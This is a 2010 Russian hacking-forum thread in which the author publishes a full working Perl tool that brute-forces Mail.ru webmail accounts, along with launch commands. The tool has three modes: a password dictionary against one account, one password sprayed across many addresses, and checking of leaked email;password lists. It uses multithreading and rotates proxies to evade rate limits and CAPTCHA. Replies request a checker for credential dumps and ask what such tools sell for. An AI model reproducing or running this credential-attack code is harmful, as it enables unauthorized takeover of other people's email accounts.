Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Mail.ru bruter (https://forum.antichat.xyz/showthread.php?t=171864)

Pashkela 19.01.2010 10:33

Mail.ru bruter
 
MAIL.RU bruter perl-скрипт

1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth

2. Возможность работы как с прокси так и без

3. Автосмена прокси

4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)

5. Многопоточный

6. Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
===================================
Код:

#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
#####################################################
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута:
#0 - брутим одно мыло по словарю паролей
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy  = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt  = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы
######################################################
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
      open(FILE1, "<", $proxy_file);
      print " Mode - with proxy\n";
      while(<FILE1>) {
        chomp;
        if ($_) {push(@prox, $_);}
      }
      $size = @prox;
} else {
      print " Mode - no proxy\n";

if ($mode == 0) {
  open(FILE2, "<", $passwords_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@pass, $_);}
  }
  close(FILE2);
  $size1 = @pass;
  print "----------------------\n";
  print "Mail - " . $login . '@' . $domain . "\n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "Passwords - $size1\n";
  print "----------------------\n";
}
if ($mode == 1) {
  open(FILE2, "<", $mail_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@mail, $_);}
  }
  close(FILE2);
  $size1 = @mail;
  print "----------------------\n";
  print "Password - $password \n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "Mails - $size1\n";
  print "----------------------\n";
}
if ($mode == 2) {
  open(FILE2, "<", $mail_pass_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@mail_pass_file, $_);}
  }
  close(FILE2);
  $size1 = @mail_pass_file;
  print "----------------------\n";
  print "Mails for check - $size1 \n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
  $trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
  $trl[$_]->join;
}
sub gets {
      $| = 1;
      while ($num < $size1) {
        { lock($num);
        $num++; }
        $z++;
        if ($mode == 0) {
              $password = "";
              $password = $pass[$num];
        }
        if ($mode == 1) {
              my ( $login, $domen ) = split( /@/, $mail[$num] );
        }
        if ($mode == 2) {
              my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
              my ( $login, $domen ) = split( /@/, $mail );
        }                             
        if ($proxy == 1) {
            if ($z == $attempt) {
                  $z = 0;
                  if ($i < ($size-1)) {
                      $i++;
                      print "\n";
                  }
                  if ($i == ($size-1)) {
                      $i = 0;
                      print "\n";
                  }
            }
        }
        check();
        $num++;
        print $num . "\r";
        sleep 1;
      } 
}
# Functions ##################################################################################
sub check {       
        if ($proxy == 1) {
            $current_proxy = $prox[$i];
            ($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
              print $num . "  current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
        } else {
                print $num . "\r";
        }     
        if ($proxy == 1) {
            $answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
        } else {
            $answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
        }   
        $ck1 = collect($answ1);
        $answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
        if ($proxy == 1) {
              req('win.mail.ru', $1, 'GET', 0, $ck1);
              $answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
        } else {
              req1('win.mail.ru', $1, 'GET', 0, $ck1);
              $answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
        }     
        if ($answ2 =~ m/msglist/img) {
            print "\n----------------------\n";
            print "[ Found password! Saved in $good_mail ]\n";
            print "----------------------\n\n\n\n\n";
            print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
            if ($mode == 0) {exit}
        }
}           
sub collect {
      my $data = $_[0];
      my $cookie = undef;
      while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
        $cookie .= $1."; ";
      }
      return $cookie;
}
sub req {
      my($host, $path, $type, $data, $cookies) = @_;
      my $request = "$type $path HTTP/1.0\n".
      "Host: $host\n".
      "Cookie: $cookies\n";
      $request .= "Content-type: application/x-www-form-urlencoded\n".
      "Content-Length: ".length($data)."\n\n".$data;
      if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
                print $socket $request;
                my $answ = undef;
                $socket->autoflush(1);
                while(my $buf = <$socket>) {
                  $answ .= $buf;
                }
                close $socket;
                return $answ;
      } 
}
sub req1 {
    my($host, $path, $type, $data, $cookies) = @_;
    my $sock = new IO::Socket::INET(
                        PeerAddr  => $host,
                        PeerPort  => 80,
                        PeerProto => 'tcp',
                        TimeOut  => 5);
    my $request = "$type $path HTTP/1.0\n".
    "Host: $host\n".
    "Cookie: $cookies\n";
    if($type eq "POST") {
      $request .= "Content-type: application/x-www-form-urlencoded\n".
      "Content-Length: ".length($data)."\n\n".$data;
    } else {
      $request .= "\n";
    }
    print $sock $request;
    my $answ = undef;
    while(my $buf = <$sock>) {
        $answ .= $buf;
    }
    return $answ;
}


mailbrush 19.01.2010 11:03

Pashkela, молодец :) Только сделай брут на login;pass

Pashkela 19.01.2010 11:53

2 mailbrush:

просто никогда брутом мыл не занимался - как лучше сделать - просто логин;пасс или как вообще списки для брута мыл выглядят - я думал что так:

123@mail.ru;пароль

в смысле откедова домен-то брать?

или и так и так сделать - с ручным указанием домена (тогда просто логин/пароль) и просто по готову списку именно мыльников/паролей? Нужна ли работа без прокси?

Просто в последних темах в "email" парни ищут чото актуальное, решил написать, тем более все уже сделано до нас

PS: Ну и как лучше - меню как в тулзе или через цмд-параметры? Могу соксы прикрутить, был бы спрос, а то так понимаю, такими вещами барыжат ( кстати, а сколько они стоят? :D )

mr.The 19.01.2010 17:09

оу, гуд, а я уже хотел свой написать, с блекджеком и шлюхами..

.devastatiour 20.01.2010 00:28

Pashkela на высоте!
мы все будем оч признательны за брут на логин/pass

Pashkela 20.01.2010 05:19

Цитата:

Сообщение от .devastatiour
мы все будем оч признательны за брут на логин/pass

так дайте ответ, какой логин/пасс именно нужен:

1. просто логин;пас (как для брута ну я не знаю, входа в админку сайта) с выбором домена (например mail.ru)
2. или логин@mail.ru;pass - для фактически не брута, а чека имеющегося списка мыл

вы же этим если занимаетесь - распишите четко, что нужно. Т.к. для меня пункт 1 например вообще непонятен, что вы собрались брутить по словарю логин/пасс - случайно попавшиеся мыльники что ли? Брут конкретного мыла по словарю и так есть. В общем подробности в студию

Если туплю я, и актуален только пункт 2 - так и напишите, да, именно как в пункте 2, нужен чекер имеющейся базы мыл

PS: Пока ушел писать чекер - читай, пункт 2, потому что пункт 1 для меня зогадко

imajo.ati 20.01.2010 09:57

неплохо было бы вынести частоизменяемые настройки в ini файл или в аргументы скрипта. к примеру пути до словарей.


по поводу логин\пасс: конечно же чекер!
и не придётся делать 2 режима подбора пароля, такие списки универсальны.

по 1 мылу:
xx1@xx.xx;password1
xx1@xx.xx;password2

по 1 паролю:
xx2@xx.xx;pass1
xx3@xx.xx;pass1

Pashkela 20.01.2010 10:58

о, теперь понятно, скоро будет

imajo.ati 20.01.2010 12:52

я в перле не силён, но посмотрев на скрипт мне кажется что в нем нет проверки на появление капчи. ведь если она появится, то даже верный пасс примется как неверный. неплохо было бы это предусмотреть в скрипте.

Pashkela 20.01.2010 12:54

дык прокси для этого и есть и кол-во попыток авторизации с одной прокси


Время: 21:54